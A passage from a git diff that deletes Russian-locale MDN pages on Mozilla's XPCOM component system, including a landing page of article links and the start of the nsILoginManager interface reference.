-<p><strong>XPCOM is no longer available for use by Firefox extensions. Use <a href="/en-US/Add-ons/WebExtensions">WebExtensions</a> instead.</strong></p>
-</div>
-
-<p>XPCOM itself provides a set of core components and classes, e.g. file and memory management, threads, basic data structures (strings, arrays, variants), etc. The majority of XPCOM components are not part of this core set and are provided by other parts of the platform (e.g. <a href="/en-US/docs/Gecko" title="Gecko">Gecko</a> or <a href="/en-US/docs/Necko" title="Necko">Necko</a>) or by an application or even by an extension.</p>
-
-<div class="row topicpage-table">
- <div class="section"><dl><dl><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Accessing_the_Windows_Registry_Using_XPCOm">Accessing the Windows Registry Using XPCOM</a></dt><dd class="landingPageList">When implementing Windows-specific functionality, it is often useful to access the Windows registry for information about the environment or other installed programs. To this end, there exist <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a> interfaces to read and write registry data. This article will show you how to use the available interfaces in several Mozilla products.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Aggregating_the_In-Memory_Datasource">Aggregating the In-Memory Datasource</a></dt><dd class="landingPageList"></dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/already_AddRefed">already_AddRefed</a></dt><dd class="landingPageList"><code>already_AddRefed</code> in association with <code><a href="/en-US/docs/NsCOMPtr">nsCOMPtr</a></code> allows you to assign in a pointer <strong>without</strong> <code>AddRef</code>ing it.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Binary_compatibility">Binary compatibility</a></dt><dd class="landingPageList">If Mozilla decides to upgrade to a compiler that does not have the same ABI as the current version, any built component may fail. It is a possiblity that is introduced when upgrading to a new compiler without recompiling everything. Effectively, it is a different platform.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Bundling_multiple_binary_components">Bundling multiple binary components</a></dt><dd class="landingPageList">Binary XPCOM components are sometimes required to implement low-level features for extensions. Since binary components are linked against a single Gecko SDK, a dependency to a particular version of Gecko is created. If the component uses only "frozen" XPCOM interfaces, there is a good chance the same binary component will work with different versions of Gecko (version 1.8 and 1.9, for example). The more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between Gecko versions. This can create a difficult situation for extension developers trying to support multiple Gecko versions (Firefox 2 and 3, for example).</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Creating_a_Python_XPCOM_component">Creating a Python XPCOM component</a></dt><dd class="landingPageList"><a href="http://books.mozdev.org/html"><em>Creating Applications with Mozilla</em></a> already provides <a href="http://books.mozdev.org/html/mozilla-chp-8-sect-2.html">a tutorial</a> for making a simple JavaScript or C++ component (implementing the <code>nsISimple</code> interface). Here is how to make the same component in Python using <a href="/en-US/docs/PyXPCOM" title="PyXPCOM">PyXPCOM</a>.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Fun_with_XBL_and_XPConnect">Fun With XBL and XPConnect</a></dt><dd class="landingPageList"></dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Generating_GUIDs">Generating GUIDs</a></dt><dd class="landingPageList"><strong>GUID</strong>s are used in Mozilla programming for identifying several types of entities, including XPCOM <a href="/en-US/docs/Interfaces">Interfaces</a> (this type of GUIDs is callled IID), components (CID), and legacy add-ons—like <a href="/en-US/docs/Extensions">extensions</a> and <a href="/en-US/docs/Themes">themes</a>—that were created prior to Firefox 1.5. <a href="/en-US/docs/Install_Manifests#id">Add-ons can (and should) be identified with IDs of the form <code><var>extensionname</var>@<var>organization</var>.<var>tld</var></code></a> since <a href="/en-US/docs/Firefox_1.5_for_developers">Firefox 1.5</a>.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Generic_factory">Generic factory</a></dt><dd class="landingPageList">Most XPCOM factories can be very simple. Rick Potts wrote a templated-based generic factory (nsFactory&lt;t&gt;) that simplifies the factory creation process that just requires writing a CreateInstance() method. The new nsIGenericFactory interface takes this a step further, by providing a single interface that can be reused anytime a simple implementation of nsIFactory is needed. Here is the interface, and a description of its use.&lt;/t&gt;</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/How_to_build_a_binary_XPCOM_component_using_Visual_Studio">How to build a binary XPCOM component using Visual Studio</a></dt><dd class="landingPageList">This is a simple tutorial for building XPCOM objects in C++ using Visual Studio. XPCOM is Mozilla’s cross platform component object model, similar to Microsoft’s COM technology. XPCOM components can be implemented in C, C++, and JavaScript, and can be used from C, C++, and JavaScript. That means you can call JavaScript methods from C++ and vice versa. For more information on the workings of XPCOM look <a href="en/XPCOM">elsewhere</a>.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/How_to_pass_an_XPCOM_object_to_a_new_window">How To Pass an XPCOM Object to a New Window</a></dt><dd class="landingPageList">If you want to be able to call functions within an XPCOM object from a XUL window's code, you can do so if you pass the XPCOM object as one of the arguments to the window creation method.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Interfacing_with_the_XPCOM_cycle_collector">Interfacing with the XPCOM cycle collector</a></dt><dd class="landingPageList">This is a quick overview of the cycle collector introduced into XPCOM for Firefox 3, including a description of the steps involved in modifying an existing C++ class to participate in XPCOM cycle collection. If you have a class that you think is involved in a cyclical-ownership leak, this page is for you.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Introduction_to_XPCOM_for_the_DOM">Introduction to XPCOM for the DOM</a></dt><dd class="landingPageList">Warning: this document has not yet been reviewed by the DOM gurus, it might contain some errors.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_Bindings">Language bindings</a></dt><dd class="landingPageList">An <strong>XPCOM Language Binding</strong> is a bridge between a particular language and <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a> to provide access to XPCOM objects from that language, and to let modules written in that language be used as XPCOM objects by all other languages for which there are XPCOM bindings.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Monitoring_HTTP_activity">Monitoring HTTP activity</a></dt><dd class="landingPageList">Gecko includes the <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIHttpActivityObserver" title="">nsIHttpActivityObserver</a></code> interface, which you can implement in your code to monitor <a href="/en/HTTP" title="en/HTTP">HTTP</a> transactions in real time, receiving a callback as the transactions take place.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/nsCOMPtr_versus_RefPtr">nsCOMPtr versus RefPtr</a></dt><dd class="landingPageList">Gecko code uses both <code>nsCOMPtr</code> and <code>RefPtr</code> as smart pointers. This guide provides some explanation and advice on how to choose between them.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Observer_Notifications">Observer Notifications</a></dt><dd class="landingPageList">The following are topics that you can observe during the course of an application. Unless otherwise noted you register for the topics using the <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIObserverService" title="">nsIObserverService</a></code>.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Setting_HTTP_request_headers">Setting HTTP request headers</a></dt><dd class="landingPageList"><a href="/en-US/docs/HTTP">HTTP</a> is one of the core technologies behind the Web. In addition to the actual content, <a href="/en-US/docs/HTTP/Headers">some important information</a> is passed with HTTP headers for both HTTP requests and responses.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Storage">Storage</a></dt><dd class="landingPageList"><strong>Storage</strong> is a <a class="external" href="http://www.sqlite.org/">SQLite</a> database API. It is available to trusted callers, meaning extensions and Firefox components only.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/The_Thread_Manager">The Thread Manager</a></dt><dd class="landingPageList">The Thread Manager, introduced in Firefox 3, offers an easy to use mechanism for creating threads and dispatching events to them for processing.</dd></dl></dl></div>
- <div class="section"><dl><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Troubleshooting_XPCOM_components_registration">Troubleshooting XPCOM components registration</a></dt><dd class="landingPageList">Often the first time you create an XPCOM component, it may fail to register correctly.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Using_nsCOMPtr">Using nsCOMPtr</a></dt><dd class="landingPageList">This document is the sum total of everything written down about <code>nsCOMPtr</code>. If you have a question about <code>nsCOMPtr</code>, and this document doesn't answer it, there probably isn't a document that answers it. You'll have to turn to <a class="external" href="news:mozilla.dev.tech.xpcom">the XPCOM newsgroup</a> or another experienced <code>nsCOMPtr</code> user, or find the answer by experimentation.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Using_nsIClassInfo">Using nsIClassInfo</a></dt><dd class="landingPageList">If you use a C++ class which implements <code>nsIClassInfo</code> from JavaScript, then you don't have to explicitly call <code>QueryInterface</code> on the JavaScript object to access the object's interfaces.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Using_nsIDirectoryService">Using nsIDirectoryService</a></dt><dd class="landingPageList">nsDirectoryService implements the <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIProperties" title="">nsIProperties</a></code> interface. This implementation will allow you to <code>Get()</code>, <code>Set()</code>, <code>Define()</code>, and <code>Undefine()</code> <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFile" title="">nsIFile</a></code>.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Using_nsIPasswordManager">Using nsIPasswordManager</a></dt><dd class="landingPageList">Technical review completed.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Using_nsISimpleEnumerator">Using nsISimpleEnumerator</a></dt><dd class="landingPageList"></dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Using_the_clipboard">Using the clipboard</a></dt><dd class="landingPageList">This section provides information about cutting, copying, and pasting to and from the clipboard.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Using_the_Gecko_SDK">Using the Gecko SDK</a></dt><dd class="landingPageList"></dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Weak_reference">Weak reference</a></dt><dd class="landingPageList">In <a href="/en-US/docs/XPCOM">XPCOM</a>, a <strong>weak reference</strong> is a special object that contains a pointer to an XPCOM object, but does<em>not</em> keep that object alive. If the referent object is destroyed before the weak reference, the pointer inside the weak reference is set to <code>nsnull</code>.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Working_with_multiple_versions_of_interfaces">Working with Multiple Versions of Interfaces</a></dt><dd class="landingPageList">In this short note we illustrate how one can update an XPCOM module in
-order for it to work in both Firefox 2 and Firefox 3, even if the interfaces have
-changed in the interim.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Working_with_out_parameters">Working with out parameters</a></dt><dd class="landingPageList"></dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/wrappedJSObject">wrappedJSObject</a></dt><dd class="landingPageList"><code>wrappedJSObject</code> is a property sometimes available on <a href="en/XPConnect">XPConnect</a> wrappers. When available, it lets you access the JavaScript object hidden by the wrapper.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/XPCOM_ABI">XPCOM ABI</a></dt><dd class="landingPageList"><a href="/en/XPCOM" title="en/XPCOM">XPCOM</a> <abbr title="Application Binary Interface">ABI</abbr> is the binary interface of XPCOM components. While XPCOM components written in a scripting language (such as <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>) can be moved across platforms (such as Windows and OS X) without adaptation, those written in a compiled language (such as C++) require recompilation when moving to a different platform. Often, compiled XPCOM components are called 'binary' or 'native'.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/XPCOM_category_image-sniffing-services">XPCOM category image-sniffing-services</a></dt><dd class="landingPageList">In versions of Firefox prior to Firefox 3, extensions could add decoders for new image types. However, such decoders relied on servers sending correct MIME types; images sent with incorrect MIME types would not be correctly displayed.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Glue">XPCOM glue</a></dt><dd class="landingPageList">The XPCOM Glue is a static library which component developers and embedders can link against. It allows developers to link only against the frozen XPCOM method symbols and maintain compatibility with multiple versions of XPCOM.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Guide">XPCOM guide</a></dt><dd class="landingPageList">These articles provide tutorials and usage documentation for XPCOM, including how to use it in your own projects and how to build XPCOM components for your Firefox add-ons and the like.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/XPCOM_ownership_guidelines">XPCOM ownership guidelines</a></dt><dd class="landingPageList">...naturally. If you create a temporary object, obviously it's up to you to destroy it. That's a sure sign of ownership. If you create an object with a longer lifespan, you will own it until you give ownership away.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference">XPCOM reference</a></dt><dd class="landingPageList">This reference describes the interfaces and functions provided by the <a href="/en-US/docs/Mozilla/Tech/XPCOM">XPCOM</a> library. In addition, it details the various helper classes and functions, as well as the components, provided by the <a href="/en-US/docs/Mozilla/Tech/XPCOM/Glue">XPCOM glue</a> library. The contents herein are oriented primarily toward extension developers and people embedding XPCOM in other projects.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/XPCOM_tasks">XPCOM tasks</a></dt><dd class="landingPageList">The XPCOM module roughly parallels the C/C++ standard libraries. It overlaps them significantly, but goes beyond them in capabilities. XPCOM sits above the standard libraries. Its role is to extend them with facilities tailored to XPCOM development in general, and specifically the needs of Mozilla. Like the standard libraries, XPCOM must be a fairly self-contained library, so as not to encumber clients with any unnecessary external dependencies.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/Thread_synchronization">XPCOM Thread Synchronization</a></dt><dd class="landingPageList">XPCOM thread synchronization primitives have the same semantics as those in NSPR, and each method of these synchronization objects (e.g. <code>Mutex::Lock()</code>) has a matching function in NSPR (<code>PR_Lock()</code>). This is no accident, as mozilla:: primitives are merely bare-minimum wrappers around NSPR's.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/xptcall_FAQ">xptcall FAQ</a></dt><dd class="landingPageList"><code>xptcall</code> is a small low level XPCOM method call library. It is implemented using platform specific C/C++ and assembly language code. It is used to facilitate cross language and cross thread method calls. Porting this code is required in order to make Mozilla run on any given platform.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/xptcall_porting_guide">Xptcall Porting Guide</a></dt><dd class="landingPageList">Original Author: John Bandhauer, 31 May 1999.</dd><dt class="landingPageList"><a href="/en-US/docs/Mozilla/Tech/XPCOM/xptcall_porting_status">Xptcall Porting Status</a></dt><dd class="landingPageList">This is a status page for the multiplatform porting of xptcall. xptcall has a <a href="/En/Xptcall_FAQ">FAQ</a> and a <a href="/En/Xptcall_Porting_Guide">Porting Guide</a>.</dd></dl></div>
- </div>
-
-<div class="blockIndicator communitybox" dir="ltr">
-
- <div class="column-container">
- <h2 id="Join_the_XPCOM_community">Join the XPCOM community</h2>
- <div class="column-half">
- <div class="communitysubhead">Choose your preferred method for joining the discussion:</div>
- <ul class="communitymailinglist">
- <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xpcom">Mailing list</a></li>
-
-
- <li><a href="http://groups.google.com/group/mozilla.dev.tech.xpcom">Newsgroup</a></li>
- <li><a href="http://groups.google.com/group/mozilla.dev.tech.xpcom/feeds">RSS feed</a></li>
-</ul>
- </div>
- <div class="column-half">
- <ul class="communitycontact"><li><strong>IRC: </strong><a href="irc://irc.mozilla.org/developers">#developers</a> <span class="smaller">(<a href="https://wiki.mozilla.org/IRC">learn more</a>)</span></li><li><strong>Tools: </strong><a href="http://ted.mielczarek.org/code/mozilla/jscomponentwiz/">JavaScript Component Wizard</a>, <a href="http://www.mytools360.com-a.googlepages.com/home#XPComPro">Visual C++ Component Wizard</a>, <a href="http://www.yutools.com/wp/tools/yuxpcomwizard/?lang=en">Visual C++ Component Wizard for Visual Studio 2010</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/xpcomviewer/">XPCOMViewer addon: browse XPCOM interfaces easily</a></li></ul>
- </div>
- </div>
-</div>
-
-<section id="Quick_Links"><ol><li><a href="http://www.ibm.com/developerworks/library/os-xpcomfirefox/">Tutorial from IBM DeveloperWorks</a></li><li><a href="https://developer.mozilla.org/en-US/docs/Creating_Custom_Firefox_Extensions_with_the_Mozilla_Build_System">Binary components tutorial</a></li><li><a href="http://www.iosart.com/firefox/xpcom/">Linux and Windows how-to guide</a></li><li><a href="http://starkravingfinkle.org/blog/2006/10/mozilla-platform-xpcom-in-c/">Windows example blog post</a></li><li><a href="http://wanderingstan.com/2007-11-16/geekout_how_to_make_a_c_xpcom_component">Another Windows example</a></li><li><a href="http://rcrowley.org/2007/07/17/cross-platform-xpcom-a-howto.html">Mac OS X example</a></li><li><a href="/en-US/docs/Web/JavaScript" title="JavaScript (JS) is a lightweight interpreted or JIT-compiled programming language with first-class functions. While it is most well-known as the scripting language for Web pages, many non-browser environments also use it, such as Node.js, Apache CouchDB and Adobe Acrobat.">JavaScript</a></li></ol></section>
diff --git a/files/ru/mozilla/tech/xpcom/reference/index.html b/files/ru/mozilla/tech/xpcom/reference/index.html
deleted file mode 100644
index 7724292115..0000000000
--- a/files/ru/mozilla/tech/xpcom/reference/index.html
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: XPCOM reference
-slug: Mozilla/Tech/XPCOM/Reference
-tags:
- - Landing
- - Mozilla
- - NeedsTranslation
- - Reference
- - TopicStub
- - XPCOM
-translation_of: Mozilla/Tech/XPCOM/Reference
----
-<p>This reference describes the interfaces and functions provided by the <a href="/en-US/docs/Mozilla/Tech/XPCOM">XPCOM</a> library. In addition, it details the various helper classes and functions, as well as the components, provided by the <a href="/en-US/docs/Mozilla/Tech/XPCOM/Glue">XPCOM glue</a> library. The contents herein are oriented primarily toward extension developers and people embedding XPCOM in other projects.</p>
-<div class="note">
- <p><strong>Note:</strong> If you're working on a module in the Mozilla codebase that's compiled with the <code>MOZILLA_INTERNAL_API</code> flag set, some of these APIs -- the string functions and classes in particular -- are not the ones you should be using. See the <a href="/en-US/docs/Mozilla/Tech/XPCOM/Guide/Internal_strings">XPCOM internal string guide</a> for documentation of the internal string API used within the Mozilla codebase.</p>
-</div>
-<p></p><div class="row topicpage-table">
- <div class="section"><dl><dl><dt></dt></dl></dl></div>
- <div class="section"><dl><dt class="landingPageList"><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface">XPCOM Interface Reference</a></dt><dd class="landingPageList">This is a reference to the XPCOM interfaces provided by the Mozilla platform.</dd></dl></div>
- </div><p></p>
-<p>Many XPCOM pages return an <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Core_functions/nsresult">nsresult</a></code>. Prior to Gecko 19 (Firefox 19 / Thunderbird 19 / SeaMonkey 2.16), this was an integer that simply returned an error code. It is now a strongly typed <code>enum</code> when XPCOM is built using a C++11 compiler. This causes compile-time errors to occur when improper values are returned as nsresult values, thereby making it easier to catch many bugs.</p>
diff --git a/files/ru/mozilla/tech/xpcom/reference/interface/index.html b/files/ru/mozilla/tech/xpcom/reference/interface/index.html
deleted file mode 100644
index 61f0ae4fca..0000000000
--- a/files/ru/mozilla/tech/xpcom/reference/interface/index.html
+++ /dev/null
@@ -1,17 +0,0 @@
----
-title: XPCOM Interface Reference
-slug: Mozilla/Tech/XPCOM/Reference/Interface
-tags:
- - NeedsTranslation
- - TopicStub
- - XPCOM
- - XPCOM Interface Reference
-translation_of: Mozilla/Tech/XPCOM/Reference/Interface
----
-<p>This is a reference to the XPCOM interfaces provided by the Mozilla platform.</p>
-<div class="cols-3">
- <ul><li><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager">nsILoginManager</a></li><li><a href="/ru/docs/nsIObserver">nsIObserver</a></li><li><a href="/ru/docs/nsIOutputStream">nsIOutputStream</a></li></ul></div>
-<h2 id="See_also" name="See_also">See also</h2>
-<ul>
- <li><a href="/en-US/docs/XPCOM_Interface_Reference_group" title="XPCOM_Interface_Reference_group">Interfaces grouped by function</a></li>
-</ul>
diff --git a/files/ru/mozilla/tech/xpcom/reference/interface/nsidomhtmlmediaelement/index.html b/files/ru/mozilla/tech/xpcom/reference/interface/nsidomhtmlmediaelement/index.html
deleted file mode 100644
index 90109df203..0000000000
--- a/files/ru/mozilla/tech/xpcom/reference/interface/nsidomhtmlmediaelement/index.html
+++ /dev/null
@@ -1,29 +0,0 @@
----
-title: nsIDOMHTMLMediaElement
-slug: Mozilla/Tech/XPCOM/Reference/Interface/NsIDOMHTMLMediaElement
-translation_of: Web/API/DOMMatrixReadOnly/translate
----
-<div>
-<div style="border: solid #ddd 2px; margin-bottom: 12px;">
-<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/interfaces/html/nsIDOMHTMLMediaElement.idl" rel="custom">dom/interfaces/html/nsIDOMHTMLMediaElement.idl</a></code><span style="float: right; text-align: right;"><a href="/en-US/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Scriptable</a></span></div>
-<span style="padding: 4px 2px;">The basis for the <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMHTMLAudioElement" title="">nsIDOMHTMLAudioElement</a></code> and <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMHTMLVideoElement" title="">nsIDOMHTMLVideoElement</a></code> interfaces, which in turn implement the <a href="/en-US/docs/Web/HTML/Element/audio" title="The HTML &lt;audio> element is used to embed sound content in documents. It may contain one or more audio sources, represented using the src attribute or the &lt;source> element: the browser will choose the most suitable one. It can also be the destination for streamed media, using a MediaStream."><code>&lt;audio&gt;</code></a> and <a href="/en-US/docs/Web/HTML/Element/video" title="The HTML Video element (&lt;video>) embeds a media player which supports video playback into the document."><code>&lt;video&gt;</code></a> HTML5 elements. </span>
-
-<div style="height: 42px; position: relative; padding: 2px; width: auto;">
-<div style="top: 22px; font-size: 11px; position: absolute;">1.0</div>
-
-<div style="top: 22px; font-size: 11px; position: absolute; left: 0px; text-align: right; float: right; width: 100%;">67</div>
-
-<div style="height: 8px; top: 16px; background: #dd0000; left: 0px; position: absolute; width: 9.389671267605634%;"></div>
-
-<div style="height: 8px; top: 16px; left: 9.389671267605634%; background: #00dd00; position: absolute; width: 90.61032873239436%;" title="Introduced in Gecko 1.9.1 (Firefox 3.5 / Thunderbird 3.0 / SeaMonkey 2.0)"></div>
-
-<div style="top: 0px; font-size: 11px; position: absolute; left: 9.389671267605634%;">Introduced</div>
-
-<div style="top: 22px; font-size: 11px; position: absolute; left: 9.389671267605634%;">Gecko 1.9.1</div>
-</div>
-
-<div style="background: #eee; padding: 2px;">Inherits from: <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMHTMLElement" title="">nsIDOMHTMLElement</a></code> <span style="float: right; text-align: right;">Last changed in Gecko 1.1 </span></div>
-</div>
-</div>
-
-<div>The <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMHTMLMediaElement">nsIDOMHTMLMediaElement</a></code> interface implements the DOM <a href="/en-US/docs/Web/API/HTMLMediaElement"><code>HTMLMediaElement</code></a> interface. See that page for details.</div>
diff --git a/files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html b/files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html
deleted file mode 100644
index 8fe801e95f..0000000000
--- a/files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html
+++ /dev/null
@@ -1,372 +0,0 @@
----
-title: nsILoginManager
-slug: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager
-tags:
- - Firefox 3
- - Interfaces
- - 'Interfaces:Scriptable'
- - Login Manager
- - NeedsTranslation
- - Thunderbird 3
- - TopicStub
- - XPCOM
- - XPCOM API Reference
- - thunderbird
-translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager
----
-<p></p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
-<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/components/passwordmgr/public/nsILoginManager.idl" rel="custom">toolkit/components/passwordmgr/public/nsILoginManager.idl</a></code><span style="text-align: right; float: right;"><a href="/ru/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Со скриптами</a></span></div>
-<span style="padding: 4px 2px;">
-
-Used to interface with the built-in Password Manager
-</span>
-
- <div style="height: 42px; position: relative; padding: 2px; width: auto;">
-
- <div style="top: 22px; font-size: 11px; position: absolute;">1.0</div>
-
- <div style="top: 22px; font-size: 11px; position: absolute; left: 0px; text-align: right; float: right; width: 100%;">66</div>
-
- <div style="height: 8px; top: 16px; background: #dd0000; left: 0px; position: absolute; width: 8.571428571428571%;"></div>
-
-<div style="height: 8px; top: 16px; left: 8.571428571428571%; background: #00dd00; position: absolute; width: 91.42857142857143%;" title="Introduced in Gecko 1.9 (Firefox 3)"></div>
-
-<div style="top: 0px; font-size: 11px; position: absolute; left: 8.571428571428571%;">Introduced</div>
-<div style="top: 22px; font-size: 11px; position: absolute; left: 8.571428571428571%;">Gecko 1.9</div>
-
- <div style="height: 8px; top: 16px; left: 9.976190285714287%; background: #eeee00; position: absolute; width: 1%; border-radius: 4px; -webkit-border-radius: 4px;" title="Last changed in Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0)"></div>
-
-</div>
-
-<div style="background: #eee; padding: 2px;">
-Наследуется из: <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code>
-<span style="text-align: right; float: right;">Последнее изменение в Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0)</span></div>
-</div><p></p>
-<p>Replaces <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIPasswordManager" title="">nsIPasswordManager</a></code> which was used in older versions of Gecko.</p>
-<p>Implemented by: <code>@mozilla.org/login-manager;1</code>. To create an instance, use:</p>
-<pre class="eval">var loginManager = Components.classes["@mozilla.org/login-manager;1"]
- .getService(Components.interfaces.nsILoginManager);
-</pre>
-<h2 id="Method_overview" name="Method_overview">Method overview</h2>
-<table class="standard-table">
- <tbody>
- <tr>
- <td><code>void <a href="#addLogin()">addLogin</a>(in nsILoginInfo aLogin);</code></td>
- </tr>
- <tr>
- <td><code>nsIAutoCompleteResult <a href="#autoCompleteSearch()">autoCompleteSearch</a>(in AString aSearchString, in nsIAutoCompleteResult aPreviousResult, in nsIDOMHTMLInputElement aElement);</code></td>
- </tr>
- <tr>
- <td><code>unsigned long <a href="#countLogins()">countLogins</a>(in AString aHostname, in AString aActionURL, in AString aHttpRealm);</code></td>
- </tr>
- <tr>
- <td><code>boolean <a href="#fillForm()">fillForm</a>(in nsIDOMHTMLFormElement aForm);</code> </td>
- </tr>
- <tr>
- <td><code>void <a href="#findLogins()">findLogins</a>(out unsigned long count, in AString aHostname, in AString aActionURL, in AString aHttpRealm, [retval, array, size_is(count)] out nsILoginInfo logins);</code></td>
- </tr>
- <tr>
- <td><code>void <a href="#getAllDisabledHosts()">getAllDisabledHosts</a>([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames);</code></td>
- </tr>
- <tr>
- <td><code>void <a href="#getAllLogins()">getAllLogins</a>([optional] out unsigned long count, [retval, array, size_is(count)] out nsILoginInfo logins);</code></td>
- </tr>
- <tr>
- <td><code>boolean <a href="#getLoginSavingEnabled()">getLoginSavingEnabled</a>(in AString aHost);</code></td>
- </tr>
- <tr>
- <td><code>void <a href="#modifyLogin()">modifyLogin</a>(in nsILoginInfo oldLogin, in nsISupports newLoginData);</code></td>
- </tr>
- <tr>
- <td><code>void <a href="#removeAllLogins()">removeAllLogins</a>();</code></td>
- </tr>
- <tr>
- <td><code>void <a href="#removeLogin()">removeLogin</a>(in nsILoginInfo aLogin);</code></td>
- </tr>
- <tr>
- <td><code>void <a href="#searchLogins()">searchLogins</a>(out unsigned long count, in nsIPropertyBag matchData, [retval, array, size_is(count)] out nsILoginInfo logins);</code> </td>
- </tr>
- <tr>
- <td><code>void <a href="#setLoginSavingEnabled()">setLoginSavingEnabled</a>(in AString aHost, in boolean isEnabled);</code></td>
- </tr>
- </tbody>
-</table>
-<h2 id="Methods" name="Methods">Methods</h2>
-<h3 id="addLogin()" name="addLogin()">addLogin()</h3>
-<p>Stores a new login in the Login Manager.</p>
-<p></p><div class="blockIndicator note"><strong>Примечание:</strong> Default values for the <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginMetaInfo" title="">nsILoginMetaInfo</a></code> properties are created if the specified login doesn't explicitly specify them.</div><p></p>
-<pre class="eval">void addLogin(
- in nsILoginInfo aLogin
-);
-</pre>
-<h6 id="Parameters" name="Parameters">Parameters</h6>
-<dl>
- <dt>
- <code>aLogin</code></dt>
- <dd>
- The login to store.</dd>
-</dl>
-<h6 id="Exceptions_thrown" name="Exceptions_thrown">Exceptions thrown</h6>
-<dl>
- <dt>
-  </dt>
- <dd>
- An exception is thrown if the login information is already stored in the Login Manager. To change a login, you have to use <code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager#modifyLogin()">modifyLogin()</a></code>.</dd>
-</dl>
